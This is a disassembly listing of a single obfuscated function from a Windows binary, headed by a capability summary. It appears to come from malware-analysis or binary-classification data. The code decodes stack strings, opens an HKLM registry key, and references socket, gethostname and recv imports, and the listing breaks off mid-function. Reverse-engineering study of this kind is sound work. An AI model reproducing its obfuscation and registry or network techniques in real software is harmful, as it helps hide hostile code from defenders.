Function at 0x1400cd4e0
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
movzx r10d, byte [rbp + 0xa0]
xor eax, eax
mov qword [rbp + 0x1b], rax
movabs rsi, 0xc5825a5f55d7ef75
mov word [rbp + 0x23], ax
movabs r14, 0x33b169d20ab6a499
mov dword [rbp + 0xa8], 4
movabs r12, 0x6690789b58e78c33
mov dword [rbp - 0x10], 0xfff1faf3
movabs r15, 0x50870f1e0187ce5f
mov dword [rbp - 0xc], 0xaf4fa01
mov dword [rbp - 8], 0x18dadbd5
mov dword [rbp - 4], 0x26f52520
mov dword [rbp], 0x2a222124
mov dword [rbp + 4], 0x2b130c16
mov dword [rbp + 8], 0x312df802
mov dword [rbp + 0xc], 0xb313736
mov dword [rbp + 0x10], 0x17ebe01a
mov dword [rbp + 0x14], 0x53a38ef
mov word [rbp + 0x18], 0x401
mov byte [rbp + 0x1a], 0xac
nop dword [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor edi, edi
cmp rdi, 0x35
jae 0x1400cde00
movzx ebx, byte [rbp + rdi - 0x10]
cmp r8, rdi
ja 0x1400cddf7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cd5de
lea rcx, [rdi + rsi]
movzx eax, bl
and al, cl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x33
add r10b, cl
jmp 0x1400cd60a
je 0x1400cddaa
inc rax
cmp r8, rax
je 0x1400cdd35
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cdd05
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cdccf
nop word [rax + rax]
cmp r9, rdi
ja 0x1400cddee
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400cd63d
lea rcx, [rdi + r14]
movzx eax, bl
and al, cl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x2f
add r10b, cl
jmp 0x1400cd670
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cdc90
inc rax
cmp r8, rax
je 0x1400cdc6e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cdc53
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cdc3a
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400cd9ae
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cd98c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400cd968
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400cd94a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cd931
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400cd90a
lea r8, [r9 + 8]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400cddd2
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400cd794
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400cd77b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400cd894
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400cd853
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400cd680
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x20]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400cd82c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400cd80d
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400cd7f2
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400cd7d3
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400cd7af
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400cd680
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x41]
jmp 0x1400cd680
lea ecx, [rdi - 0x79]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x4f
jmp 0x1400cd670
lea r10d, [rdi - 0x4d]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x1b
add r10b, bl
jmp 0x1400cd5b1
lea r10d, [rdi - 0x22]
inc r9
movzx eax, r10b
dec rdi
and al, bl
add al, al
sub r10b, al
sub r10b, 0x12
add r10b, bl
inc rdi
jmp 0x1400cd5a2
lea r10d, [rdi + 0xa]
movzx r11d, dil
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x46
add r10b, bl
jmp 0x1400cdce8
lea r10d, [rdi + 0x36]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x7a
add r10b, bl
jmp 0x1400cdd1c
lea ecx, [rdi + 0x62]
mov r10d, reloc.WLDAP32.dll_Ordinal_41
movzx eax, cl
and al, bl
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, bl
jmp 0x1400cdd6e
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x48
inc rdi
jmp 0x1400cd5a2
lea ecx, [rdi + 0x45]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x1d
cmp r9, 2
jb 0x1400cdbed
mov edx, reloc.WS2_32.dll_socket
movzx r11d, dil
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, bl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
jmp 0x1400cdca9
lea ecx, [rdi + 0x71]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x17
lea rax, [r9 + r8]
cmp rax, 3
je 0x1400cdc1d
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400cdaa3
lea ecx, [rdi - 0x1f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x27
cmp r8, 0x64
jae 0x1400cdbfa
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400cdb39
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x56
jmp 0x1400cd867
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x1a
inc rdi
jmp 0x1400cd5a2
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
jmp 0x1400cdd4a
lea edx, [rdi - 0x12]
mov ecx, 0x3f
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdd19
lea edx, [rdi + 0x1a]
mov ecx, Ordinal_41
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400cd5a2
lea edx, [rdi + 0x46]
mov ecx, ntohl
movzx eax, dl
movzx r11d, dil
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdca9
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400cd9d3
lea ecx, [rdi + 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x33
jmp 0x1400cd8a8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400cda03
lea ecx, [rdi + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x5e
inc rdi
jmp 0x1400cd5a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cda25
lea ecx, [rdi + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2a
jmp 0x1400cdd4a
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400cda4c
lea edx, [rdi - 0x10]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdd1c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cda73
movzx r11d, dil
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5c
jmp 0x1400cdce8
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400cd8a8
mov ecx, reloc.WS2_32.dll_gethostname
movzx r11d, dil
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdca9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cdaca
movzx r11d, dil
lea ecx, [r11 - 0x35]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x73
jmp 0x1400cdca9
inc rax
cmp r8, rax
jne 0x1400cdaf1
lea ecx, [rdi - 0x61]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x59
inc rdi
jmp 0x1400cd5a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cdb13
lea ecx, [rdi + 0x73]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x25
jmp 0x1400cdd19
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400cd8da
lea ecx, [rdi + 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0xf
jmp 0x1400cdd4a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cdb6e
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400cd5a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cdb95
lea edx, [rdi + 0x22]
mov ecx, 9
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdd1c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cdbc1
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx r11d, dil
lea edx, [r11 - 0xa]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdce8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400cd867
lea ecx, [rdi - 0x20]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
inc rdi
jmp 0x1400cd5a2
mov byte [rbp + rdi - 0x10], r10b
inc rdi
jmp 0x1400cd5a2
movzx ecx, byte [rbp + rdi - 0x10]
movzx r11d, dil
lea edx, [r11 - 0x78]
movzx eax, dl
and al, bl
sub cl, al
add cl, 0x24
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400cdce8
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi - 0x10]
lea r10d, [rbx + rcx]
sub r10b, 0x1e
jmp 0x1400cdd4a
lea ecx, [rdi + 0x15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x6d
jmp 0x1400cdd1c
movzx r11d, dil
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x39
jmp 0x1400cdce8
lea ecx, [rdi + 0x6d]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 5
inc rdi
jmp 0x1400cd5a2
movzx r11d, dil
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x6b
movzx eax, bl
add r11b, 0x13
and al, r11b
add al, al
sub bl, al
add bl, 0x7b
add bl, r11b
mov byte [rbp + rdi - 0x10], bl
inc r9
dec rdi
inc rdi
jmp 0x1400cd5a2
movzx r11d, dil
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x69
movzx eax, bl
sub r11b, 3
and al, r11b
add al, al
sub bl, al
add bl, 0x15
add bl, r11b
add bl, r10b
mov byte [rbp + rdi - 0x10], bl
jmp 0x1400cdd19
lea ecx, [rdi + 7]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x31
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400cd5a2
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x65
lea edx, [rdi - 0x19]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x51
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x10], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x5c]
movzx eax, bl
and al, dl
inc r8
mov ecx, 0x3e
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x10], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cd5a2
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x67
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cd5a2
sub dil, 0x21
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r10d, [rbx + rdi]
sub r10b, 0x19
jmp 0x1400cd590
lea rdx, [rbp + 0x154e28c]
jmp 0x1400cde04
lea rdx, [rbp + 0x6cd201]
jmp 0x1400cde04
lea rdx, [rbp - 0x10]
lea rax, [rbp + 0xb0]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400d0b22
movzx r11d, byte [rbp + 0xa0]
xor eax, eax
mov qword [rsp + 0x1b8], r13
movabs rsi, 0xbad0f7b3c1daf24b
mov qword [rbp - 0x50], rax
movabs r14, 0x9158b551d0b284a3
mov word [rbp - 0x48], ax
movabs r12, 0x1bb6c5ea4cfca00d
mov dword [rbp - 0x70], 0x3534ce28
movabs r13, 0xa614d682c946bb77
mov dword [rbp - 0x6c], 0x3d3f2f3d
movabs r15, 0x3072e71b4590d6e1
mov dword [rbp - 0x68], 0x2904262a
mov dword [rbp - 0x64], 0x252bdb21
mov dword [rbp - 0x60], 0x2e212514
mov dword [rbp - 0x5c], 0xe2171927
mov dword [rbp - 0x58], 0x81e36e2
mov dword [rbp - 0x54], 0x671b1108
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor edi, edi
cmp rdi, 0x2a
jae 0x1400cea5e
movzx ebx, byte [rbp + rdi - 0x70]
mov rdx, rbx
cmp r8, rdi
ja 0x1400cea55
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cdf0e
lea r11, [rdi + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
sub r11b, 0xd
add r11b, dl
jmp 0x1400cdf47
je 0x1400ce9ee
inc rax
cmp r8, rax
je 0x1400ce99e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ce960
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ce932
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ce919
cmp r9, rdi
ja 0x1400cea4c
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400cdf6f
lea ecx, [rdi + 0x27]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x11
jmp 0x1400cdfa2
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ce8d6
inc rax
cmp r8, rax
je 0x1400ce8b7
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ce89a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ce873
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400ce4ea
nop
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ce4ca
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400ce4a3
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400ce47f
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400ce45c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400ce43b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400ce422
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400ce405
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ce3e8
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400ce3c1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cdfb0
lea r8, [r9 + 2]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400cea31
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400cea16
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400ce196
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400ce17d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400ce164
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400ce374
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400ce32e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400ce2ed
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400ce2cc
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400cdfb0
lea r8, [r9 + 0x10]
lea r9, [r8 + 8]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400ce2a0
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400ce282
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400ce264
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400ce24b
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400ce22f
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400ce212
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400ce1f3
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400ce1d1
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400ce1af
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400cdfb0
lea r8, [r9 + 2]
lea r9, [r8 + 0x64]
jmp 0x1400cdfb0
lea ecx, [rdi - 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xf
jmp 0x1400cdfa2
lea ecx, [rdi + 0x23]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xb
jmp 0x1400cdf47
lea ecx, [rdi - 0x73]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x25
jmp 0x1400cdee1
lea edx, [rdi + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ce8f3
lea ecx, [rdi - 0x5e]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
inc rdi
jmp 0x1400cded2
lea ecx, [rdi + 0xc]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
inc rdi
jmp 0x1400cded2
lea ecx, [rdi + 0x76]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x1400ce82e
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
add r8, r9
jmp 0x1400ce947
lea ecx, [rdi + 0x4a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
jmp 0x1400ce947
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ce978
lea edx, [rdi + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ce9b6
lea edx, [rdi - 0x78]
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400cded2
lea ecx, [rdi + 0x11]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x77
mov byte [rbp + rdi - 0x70], r11b
inc rdi
jmp 0x1400cded2
lea edx, [rdi + 0x7b]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x5d
add r11b, dl
cmp r9, 0x61
jb 0x1400ce2e0
movzx ecx, bl
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x1e]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x5c]
jmp 0x1400ce8f3
lea edx, [rdi - 0x1b]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x43
add r11b, dl
cmp r8, 0x40
jae 0x1400ce80c
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400ce709
lea edx, [rdi + 6]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x2a
jmp 0x1400ce302
lea edx, [rdi + 0x4f]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x29
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400ce851
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400ce5ed
lea edx, [rdi - 0x21]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x19
jmp 0x1400ce343
lea ecx, [rdi - 0x16]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x66
inc rdi
jmp 0x1400cded2
lea edx, [rdi + 0x54]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x1400ce9b6
lea edx, [rdi - 0x42]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x32
add r11b, dl
jmp 0x1400ce978
lea ecx, [rdi + 0x28]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
jmp 0x1400ce947
lea edx, [rdi - 0x6e]
mov ecx, 1
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400ce947
mov ecx, reloc.WS2_32.dll_ntohl
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 4]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ce82e
lea edx, [rdi + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400cded2
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400cded2
mov ecx, gethostname
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x3a]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400ce8f0
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400ce50d
lea edx, [rdi + 0x4b]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0xd
jmp 0x1400ce389
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ce53d
lea ecx, [rdi + 0x4e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x22
inc rdi
jmp 0x1400cded2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ce567
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400ce947
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce593
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x3c]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ce82e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ce5c0
lea edx, [rdi - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400cded2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ce38c
mov ecx, 7
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 2]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400ce8f0
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400ce615
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x75]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x33
jmp 0x1400ce8f0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce63d
lea ecx, [rdi - 0x5f]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x67
inc rdi
jmp 0x1400cded2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400ce668
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x37]
and al, dl
add al, al
sub r11b, al
add r11b, 0x7f
add r11b, dl
jmp 0x1400ce82e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ce68d
lea ecx, [rdi - 0x33]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x65
add r8, r9
jmp 0x1400ce947
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ce6af
lea ecx, [rdi + 0x63]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x4b
jmp 0x1400ce947
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ce6d5
lea edx, [rdi - 7]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x31
add r11b, dl
jmp 0x1400ce978
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400ce346
lea ecx, [rdi + 0x25]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 3
inc rdi
jmp 0x1400cded2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ce739
lea ecx, [rdi - 0x64]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x44
inc rdi
jmp 0x1400cded2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce760
lea edx, [rdi + 0x5e]
mov ecx, gethostname
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ce947
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ce78a
lea edx, [rdi - 0xc]
mov ecx, Ordinal_45
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400ce947
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ce7b3
mov ecx, Ordinal_32
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x76]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ce82e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ce7e0
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
